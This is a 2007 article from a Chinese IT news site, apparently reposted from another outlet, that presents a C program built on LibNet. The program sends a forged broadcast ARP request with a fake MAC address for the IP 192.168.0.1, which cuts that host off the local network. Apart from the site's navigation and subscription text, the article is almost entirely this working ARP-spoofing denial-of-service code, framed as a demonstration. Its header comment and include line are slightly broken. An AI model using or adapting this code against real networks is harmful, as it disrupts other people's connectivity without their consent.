科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网网络频道动态ARP可导致整个TCP/IP网络中断

动态ARP可导致整个TCP/IP网络中断

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

演示通过ARP数据包使网络中的某主机无法连接网络

作者:中国IT实验室 2007年8月21日

关键字: 动态ARP 数据包 ARP Device int IP网络

  • 评论
  • 分享微博
  • 分享邮件

  程序名:Arp_break_net.c
  用途 :演示通过ARP数据包使网络中的某主机无法连接网络
   演示中192.168.0.1 将无法连接进入网络
  编写 :cloud
  时间 :2001-2-11
  其他 :程序依赖LibNet
  */
  
  #include

  u_char enet_src[6] = {0,0,0,0}; //源MAC地址 (伪造的一个不存在MAC地址)

  u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};

  //目标MAC地址(广播地址)

  u_char ip_src[4] = {192,168,0,1};

  //源IP地址 (被踢出网络的IP地址)

  u_char ip_dst[4] = {192,168,0,255};

  //目标IP地址 (随便一个IP地址)   

  int main(int argc, char *argv[])

  {

   int c;

   char errbuf[256];

   char *device = "eth0"; //数据包从第一个网卡发送出去

   struct libnet_link_int *l;   

  

   l = libnet_open_link_interface(device, errbuf); //打开设备

   if (!l)

   {

   fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf);

   exit(EXIT_FAILURE);

   }

   c = send_arp(l, device); //发送ARP数据包

  

   return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);

  }   

  

  int send_arp(struct link_int *l, u_char *device)

  {

   int n;

   u_char *buf;

  

   if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1)

   {

   perror("libnet_init_packet memory:");

   exit(EXIT_FAILURE);

   }

  

   /*

   * 构造以太数据包头部信息

   */

   libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);

  

   /*

   * 构造ARP数据包头部信息

   */

   libnet_build_arp(ARPHRD_ETHER,

   ETHERTYPE_IP,

   6,

   4,

   ARPOP_REQUEST,

   enet_src,

   ip_src,

   enet_dst,

   ip_dst,

   NULL,

   0,

   buf + ETH_H);

  

   n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H); //发送数据包

  

   printf("Wrote %d byte ARP packet through linktype %d\n", n, l->linktype);

  

   libnet_destroy_packet(&buf);

   return (n);

  }

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章